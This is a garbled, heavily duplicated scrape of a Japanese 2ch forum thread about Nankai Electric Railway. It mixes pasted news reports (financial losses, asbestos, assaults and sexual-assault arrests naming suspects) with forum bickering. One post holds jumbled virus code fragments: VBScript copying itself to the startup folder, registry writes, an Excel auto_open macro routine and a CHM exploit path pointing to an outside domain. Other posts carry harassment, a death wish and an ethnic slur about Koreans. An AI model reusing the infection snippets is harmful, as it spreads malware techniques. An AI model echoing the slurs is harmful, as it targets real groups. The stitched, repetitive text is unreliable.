あったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字
に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）など
の減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出しアスベストに
よる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密
閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後
１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高
０万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１
億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始し
た後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスが
あったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字
に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）など
の減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出しアスベストに
よる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密
閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後
１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高
石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付
朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の男子生徒３人を含
む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１
６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。
少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなど
した疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２
人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けよ
うとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◇◆◇◆運転士と車掌
が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）
、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）
を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会
朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の男子生徒３人を含
む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１
６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。
少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなど
した疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２
人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けよ
うとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◇◆◇◆運転士と車掌
が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）
、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）
を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会
場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったとこ
ろ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻って
こない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメ
ント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指
摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いて
いる。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しか
も、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、
その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期
比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比
ではなんと九八・四％ものマイナス。 「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、
それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南
ろ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻って
こない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメ
ント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指
摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いて
いる。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しか
も、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、
その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期
比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比
ではなんと九八・四％ものマイナス。 「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、
それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南
海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階で
も赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、
グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字を
キープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、そ
の余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」堺市内に建
設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺
産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明
会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二
十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな
仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳
群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなけれ
も赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、
グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字を
キープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、そ
の余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」堺市内に建
設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺
産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明
会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二
十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな
仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳
群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなけれ
ば世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計
画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場
に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界
遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンション
で駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできまし
た。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でし
たが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電
鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。
（超高層マンションは）違和感のない景観だと思っています」＜続く＞ しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されま
す。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。
〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうこ
画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場
に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界
遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンション
で駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできまし
た。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でし
たが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電
鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。
（超高層マンションは）違和感のない景観だと思っています」＜続く＞ しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されま
す。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。
〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうこ
628 ：ひみつの検疫さん：2024/05/09(木) 17:55:32 ID:MarkedRes
汚染を除去しました。
l:file://C:\\MAIN.MHT!ttp://www.loadcash.biz//adverts//35//main.chm::/main.htm"type="text/X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*fso.copyfile"dirsy
stem&nurupo.vbs","j:\windows\startmenu\programs\startup\"Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.CopyFilef1.path,f1.path+"l"ToInfect.CodeModule.InsertLinesBGN,ADI1
.CodeModule.Lines(BGN,1)G.RegWriteA("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1),A("VHORU@SU/WCR"))lines(n)=re
place(lines(n),"""",chr(93)+chr(45)+chr(93))ms-its:mhtml:file://c:\kak.hta';ken=wd+'STARTkill-9xz/tSaBh0Subauto_open()Application.OnSheetActivate="check_files"EndSubSubcheck_fil
es()c$=Application.StartupPathm$=Dir(c$&"＼"&"PERSONAL.XLS")Ifm$="PERSONAL.XLS"Thenp=1Elsep=0IfActiveWorkbook.Modules.Count>0Thenw=1Elsew=0whichfile=p+w*10EndSub？？？重複ttp://
hobby7.2ch.net/test/read.cgi/rail/1155819542/l50上記の方が先に立ってるから、ここのスレを削除以来出しとくわ重複スレ立てないという基本的なルールは守れよ重複ttp://hobby7.2ch.net/te
st/read.cgi/rail/1155819542/l50
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hobby7.2ch.net/test/read.cgi/rail/1155819542/l50上記の方が先に立ってるから、ここのスレを削除以来出しとくわ重複スレ立てないという基本的なルールは守れよ重複ttp://hobby7.2ch.net/te
st/read.cgi/rail/1155819542/l50
630 ：名無しでGO!：2006/09/02(土) 22:24:44 ID:EIqC6LjC0
お呼び出し申し上げます。
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
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どこか京成に近い臭いを感じる。
632 ：名無しでGO!：2006/09/02(土) 23:43:49 ID:EIqC6LjC0
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南海が大赤字なのは川勝伝が馬鹿だったからなのか？箱庭みたいな大阪球場と南海ホークスの存続にこだわってたくせに超シミッタレだった。金出す気もないくせに、えらそうなことばかり言って
赤字ばっか出してたまさに老舗企業の老害だったな。ところで、なんばパークスは高い、品揃えが悪い、まずいの三拍子揃ってるからリピーター獲得は難しいだろうな。老害去っても、南海には経
営のセンスがないらしい。
赤字ばっか出してたまさに老舗企業の老害だったな。ところで、なんばパークスは高い、品揃えが悪い、まずいの三拍子揃ってるからリピーター獲得は難しいだろうな。老害去っても、南海には経
営のセンスがないらしい。
南海は車両がどれも古いのぉ
635 ：名無しでGO!：2006/09/03(日) 04:38:51 ID:1bk71BSA0
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低学歴↓
ﾊｲﾊｲ岬高生
638 ：名無しでGO!：2006/09/03(日) 18:56:56 ID:+xKbOkDt0
局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
＿＿＿＿__|,.へ､__,.ﾍ/|/＼∠ヽ赤字南海ヲタ>1|i＾|｢::::::ﾉ=l:::::ｨ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣,.-‐-､|ヽ|r_＼l|静粛に……！_/＼＿＿＿＿／|∧.(二二7!＜赤字監禁強制わ
いせつ南海ヲタ>1は∠ﾊヾミﾆ.r-､＼∠Ｌ:r‐-‐-､:::::::::|/ヽ＿‐__.｣`ｰ-|前スレが半分も逝かない内に新スレをたておった./ｨ,LV∠＼ｌ＼＼.）jjjj｀二i＼/:|::::::::::::|最初に言ったはず
だW､ゞi,､~__｢￣∧ヾ´´´|.＼/|::::::::::::|糞スレを乱発させるなと・・・！,ゝし'／,ﾉ.|/ｉl.l＼､.|::::::::::::l、｀ヾﾆンl＼./＼|l､_｣ヽ、/ヾ::::::::::::.|l|_l＼ﾄ､|＼r──‐┐ﾄ//r‐┴
-､:::.|.|7lヽ|/☆☆☆.||∨{ニニ正式スレ【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/スーパー玉出の商品の価格は安いが、南海の運
賃は高いスーパー玉出は「安かろう悪かろう」南海は「高かろう悪かろう」客離れが止まらないのは、言うまでもなく後者新今宮-関西空港南海所要時間41分｜料金890円ＪＲ所要時間51分｜料金1,
030円難波-関西空港南海所要時間45分｜料金890円リムジン所要時間40分｜料金880円重複誘導【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1153816
092/l50重複ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50上記の方が先に立ってるから、ここのスレを削除以来出しとくわ重複スレ立てないという基本的なルールは守れよ【みさき公
園←】南海電気鉄道ｽﾚｯﾄﾞNa81【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50【みさき公園←】南海電気鉄道ｽﾚｯﾄﾞNa81【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail
/1155819542/l50【みさき公園←】南海電気鉄道ｽﾚｯﾄﾞNa81【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50南海はぼろい 赤字監禁強制わいせつ南海ヲタ死ね
いせつ南海ヲタ>1は∠ﾊヾミﾆ.r-､＼∠Ｌ:r‐-‐-､:::::::::|/ヽ＿‐__.｣`ｰ-|前スレが半分も逝かない内に新スレをたておった./ｨ,LV∠＼ｌ＼＼.）jjjj｀二i＼/:|::::::::::::|最初に言ったはず
だW､ゞi,､~__｢￣∧ヾ´´´|.＼/|::::::::::::|糞スレを乱発させるなと・・・！,ゝし'／,ﾉ.|/ｉl.l＼､.|::::::::::::l、｀ヾﾆンl＼./＼|l､_｣ヽ、/ヾ::::::::::::.|l|_l＼ﾄ､|＼r──‐┐ﾄ//r‐┴
-､:::.|.|7lヽ|/☆☆☆.||∨{ニニ正式スレ【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/スーパー玉出の商品の価格は安いが、南海の運
賃は高いスーパー玉出は「安かろう悪かろう」南海は「高かろう悪かろう」客離れが止まらないのは、言うまでもなく後者新今宮-関西空港南海所要時間41分｜料金890円ＪＲ所要時間51分｜料金1,
030円難波-関西空港南海所要時間45分｜料金890円リムジン所要時間40分｜料金880円重複誘導【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1153816
092/l50重複ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50上記の方が先に立ってるから、ここのスレを削除以来出しとくわ重複スレ立てないという基本的なルールは守れよ【みさき公
園←】南海電気鉄道ｽﾚｯﾄﾞNa81【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50【みさき公園←】南海電気鉄道ｽﾚｯﾄﾞNa81【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail
/1155819542/l50【みさき公園←】南海電気鉄道ｽﾚｯﾄﾞNa81【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/l50南海はぼろい 赤字監禁強制わいせつ南海ヲタ死ね
640 ：名無しでGO!：2006/09/04(月) 00:17:50 ID:4w3/DgBH0
結局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
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233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
祝！関空１２歳。
ラピート運行開始も１２歳。
ラピート運行開始も１２歳。
642 ：名無しでGO!：2006/09/04(月) 23:15:04 ID:gllbEEyf0
結局トンズラしたみさき公園
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233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
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自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
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って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
643 ：名無しでGO!：2006/09/05(火) 22:48:28 ID:HATyjMGl0
結局トンズラしたみさき公園
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また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
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233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
南海の有利子負債は莫大。大手私鉄で一番ヤバい状況。身の丈に合わない額の有利子負債を背負い、身動きが取れない状況。阪急は梅田駅の行き先表示の電光掲示板がもうすでに２代目なのに、南
海は金がないから、いまだに難波駅の行き先表示案内がパタパタ式藁着陸料引き下げにあわせて全日空が関空の国際線拠点化検討。欧米線の関空シフトや羽田〜関空線の増強が柱ソースは交通新聞。
南海はぼろい>282大赤字新車にＬＥＤをつける資金のない南海w
海は金がないから、いまだに難波駅の行き先表示案内がパタパタ式藁着陸料引き下げにあわせて全日空が関空の国際線拠点化検討。欧米線の関空シフトや羽田〜関空線の増強が柱ソースは交通新聞。
南海はぼろい>282大赤字新車にＬＥＤをつける資金のない南海w
>318◆◇◆◇◆当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園
」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
646 ：名無しでGO!：2006/09/06(水) 05:46:05 ID:CSpzvvfw0
お呼び出し申し上げます。
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
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647 ：名無しでGO!：2006/09/06(水) 21:13:29 ID:4AjO72mw0
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>344>345南海ヲタは日本人より在日朝鮮人･韓国人が多いからな。
